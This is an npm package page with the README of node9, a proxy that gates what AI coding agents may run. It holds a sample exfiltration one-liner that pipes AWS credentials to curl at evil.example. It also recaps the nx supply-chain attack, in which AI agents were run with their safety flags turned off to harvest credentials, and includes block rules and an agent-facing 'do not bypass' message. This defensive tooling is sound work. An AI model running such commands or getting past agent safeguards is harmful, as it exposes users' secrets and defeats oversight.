@node9/proxy

中文文档
2.47.1发布于 2026/11/02Apache-2.0TypeScriptESM + CJS构建来源已验证

Access control for AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.

原始使用文档
文档目录12 节
  1. What it looks like
  2. Install
  3. Use as an MCP server
  4. The problem
  5. What node9 does about it
  6. Verify it yourself
  7. What it governs
  8. Learn
  9. Compare
  10. Related projects
  11. Enterprise
  12. License

🛡️ node9

Access control for AI agents

Your AI agents can reach Slack, GitHub, email, and your database.
node9 decides what they may do with each one.

npm version monthly downloads License: Apache 2.0 Documentation OpenSSF Best Practices OpenSSF Scorecard node9 self-scanned Mentioned in Awesome Claude Code

Credential jail · secrets and PII · destructive git, SQL and shell held for review · MCP tool pinning · network egress allowlist · loop breaker · one record across twelve agents

Works with Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · any MCP server.

What it looks like

A real Claude Code session with node9 installed. Every tool call is checked before it runs. Building a page and editing a button run. A request to the cloud metadata address is blocked, and the agent gets the reason and carries on. Deleting files waits for your approval, right in the chat.

node9 in a Claude Code session: two calls allowed, one blocked, one held for approval

Install

brew tap node9-ai/node9 && brew install node9   # macOS / Linux
npm install -g node9-ai                         # any platform

Then, in any project:

node9            # first run: choose dashboard connection or local protection
node9 posture    # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login      # optional: adds this machine to a shared dashboard

Requires Node.js 22+.

On a new interactive terminal, node9 guides you through setup. Local protection needs no account. The checklist shows recommended shields, DLP/PII, optional network egress review, and the background service. Usage statistics are sent only if you accept the separate prompt. The summary lists configured agents and any setup steps that need attention.

Run node9 setup to revisit setup, or node9 setup <target> to configure one agent. Once configured, bare node9 shows help. node9 init remains available; for scripts use node9 init --recommended (no questions and no telemetry opt-in). --skip-setup leaves agent wiring and service installation alone. Explicit --mode takes precedence over the checklist's standard-mode recommendation. Existing settings are preserved unless selected changes or explicit flags request an update. Workspace policy is managed in the dashboard; service settings remain local.

login adds nothing to enforcement. It connects the machine to a workspace so a team can see one record across everyone's laptops and CI, set policy centrally, and approve held actions from a dashboard or Slack. Skip it and node9 works exactly the same, alone, offline. node9 logout disconnects again and local enforcement keeps running.

Use as an MCP server

node9 also runs as an MCP server, so an agent can read its status, posture, audit record and policy, and explain any decision, from inside the conversation:

claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server

Any MCP client works the same way: the command is npx -y node9-ai mcp-server over stdio, with no API key. It is listed in the official MCP Registry as io.github.node9-ai/node9.

The problem

In August 2025, compromised releases of the nx build tool shipped a post-install script that looked for AI coding agents already installed on the developer's machine, then ran them with their own safety flags turned off (--dangerously-skip-permissions, --yolo, --trust-all-tools) to enumerate SSH keys, cloud credentials and wallet files and write the list to disk. The script pushed the results to public repositories inside the victims' own GitHub accounts. More than a thousand valid GitHub tokens leaked, along with cloud credentials, npm tokens and roughly 20,000 files, from machines where the agent was doing exactly what it was told.

The agent was not the attacker. The agent was the tool, and nothing stood between it and the files. node9's gate is not one of those flags: it runs in the hook, and an action it holds stays held even when the agent was started with permissions skipped.

What node9 does about it

node9 sits between the agent and every tool it calls. The credential jail (~/.ssh, ~/.aws, .env files, private keys) is on by default, and a read of one of those paths does not run. The agent is stopped, told why, and the decision comes to you:

NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.

The command is parsed as a shell AST, not matched as text, so wrapping the read does not help. echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example is judged as a read of ~/.aws/credentials, not as an echo.

node9 is a gate. A held action does not run while it waits for you, and if you never answer it stays blocked. Everything else is allowed and written to the record.

What it does not do: with egress control off, which is the default, a command that hands a file straight to the network, such as curl -d @~/.aws/credentials, is not treated as a read of that file. node9 egress protect gates destinations as well, and it covers shell commands only.

Verify it yourself

Nothing below needs an account or uploads your code. scan-repo sends an anonymous usage count (no repository name, no code); set NODE9_NO_TELEMETRY=1 to turn it off.

npx node9-ai scan                                        # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo      # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed

node9 scan scorecard

What it governs

Each line is one capability, with the page that documents it. The docs are the reference; this file is the map.

Credential jail~/.ssh, ~/.aws, .env and private keys are blocked from every tool, not just the shelldocs
Always-on rulesdestructive git, SQL without a WHERE, curl | bash and unauthorised sudo, with no configdocs
Secrets and PIIAWS keys, GitHub and Stripe tokens, PEM keys and card or SSN shapes, in any tool argument, plus a background scan of what the agent wrote backdocs
Per-service shieldscurated rule packs for Postgres, MongoDB, Redis, AWS, Kubernetes, Docker, GitHub and the filesystemdocs
Inline reviewa held action asks you inside the agent conversation, or through a team approverdocs
Egress allowlistgate where a shell command may send data, off by defaultdocs
MCP gatewaywrap any MCP server, authorise each tool, and pin tool definitions so a server cannot change them behind your backdocs
Sandboxrun an agent in a container with a kernel egress allowlist and scoped mountsdocs
Posture scorehow exposed this machine is, with the command that fixes each findingdocs
Repo scanningfind workflows where an outsider could hijack an agent that holds your secrets, in CI or from the CLIdocs
Session historyread what every agent already did on this machine, before node9 was installeddocs
Live monitor and reporta terminal dashboard, and a windowed summary of cost, tools, blocks and blast radiusdocs
Skills pinningSHA-256 verification of installed Claude skills and plugins between sessionsdocs
Canary credentialsplanted fake keys that prove an exfiltration attempt happeneddocs
Python SDKgovern any Python agent, not only the CLIsdocs

Full CLI and config reference: node9.ai/docs. How the layers fit together: how it works.

Learn

Background reading, written to stand on its own. Each page says what node9 does not cover.

Compare

  • node9-python: Python SDK
  • node9 Agent Security: the GitHub Action, uses: node9-ai/node9-proxy@v2, gates every PR with the same engine (it sends the same anonymous usage count; telemetry: false turns it off)

Enterprise

node9 Pro adds governance locking, SAML/SSO, central audit export, and VPC deployment. See node9.ai.

License

Apache-2.0

Built with ☕ and healthy paranoia.

版本与发布记录

@node9/proxy 共发布 270 个版本,首次发布于 2026/03/03;过去 12 个月发布了 270 个版本。最新版本附带 npm provenance 构建来源证明,可追溯到公开的 CI 构建记录。

版本发布日期距今
2.47.1latest2026/11/021 天前
2.47.02026/11/021 天前
2.46.12026/11/011 天前
2.45.02026/11/012 天前
2.44.02026/11/012 天前
2.43.12026/11/012 天前

关于 @node9/proxy 的常见问题

@node9/proxy 是什么?

AI代理的访问控制。设置Claude Code, Codex, Gemini, Cursor和任何MCP服务器允许执行的操作,在运行之前检查风险操作,并记录每个操作。

如何安装 @node9/proxy?

在项目目录运行 npm install @node9/proxy,或使用 pnpm add / yarn add / bun add。它还提供命令行工具 node9,可以用 npx node9 直接运行。

@node9/proxy 支持 TypeScript 吗?

支持。包内自带 TypeScript 类型声明(package.json 声明了 types 入口),安装后即可获得类型提示,无需再安装 @types 包。

@node9/proxy 支持 ESM 还是 CommonJS?

同时提供 ES Module 与 CommonJS 入口,import 和 require() 都可以使用,打包工具会自动选择合适的版本。

@node9/proxy 需要什么版本的 Node.js?

package.json 的 engines 字段要求 Node.js >=22。版本不符时 npm 默认只给出警告,开启 engine-strict 后会拒绝安装。

@node9/proxy 可以商用吗?

@node9/proxy 使用 Apache-2.0 许可。宽松许可:允许商业使用、修改和再分发,并附带明确的专利授权;分发时需保留许可与 NOTICE 文件,修改过的文件要注明改动。以上为概括,不构成法律意见,请以许可原文为准。

@node9/proxy 还在维护吗?

最新版本 2.47.1 发布于 2026/11/02(1 天前);至今共发布 270 个版本,其中过去 12 个月发布了 270 个;首次发布于 2026/03/03。发布频率只是参考信号:功能稳定的工具可能很少需要更新,建议结合源码仓库的 issue 和提交记录判断。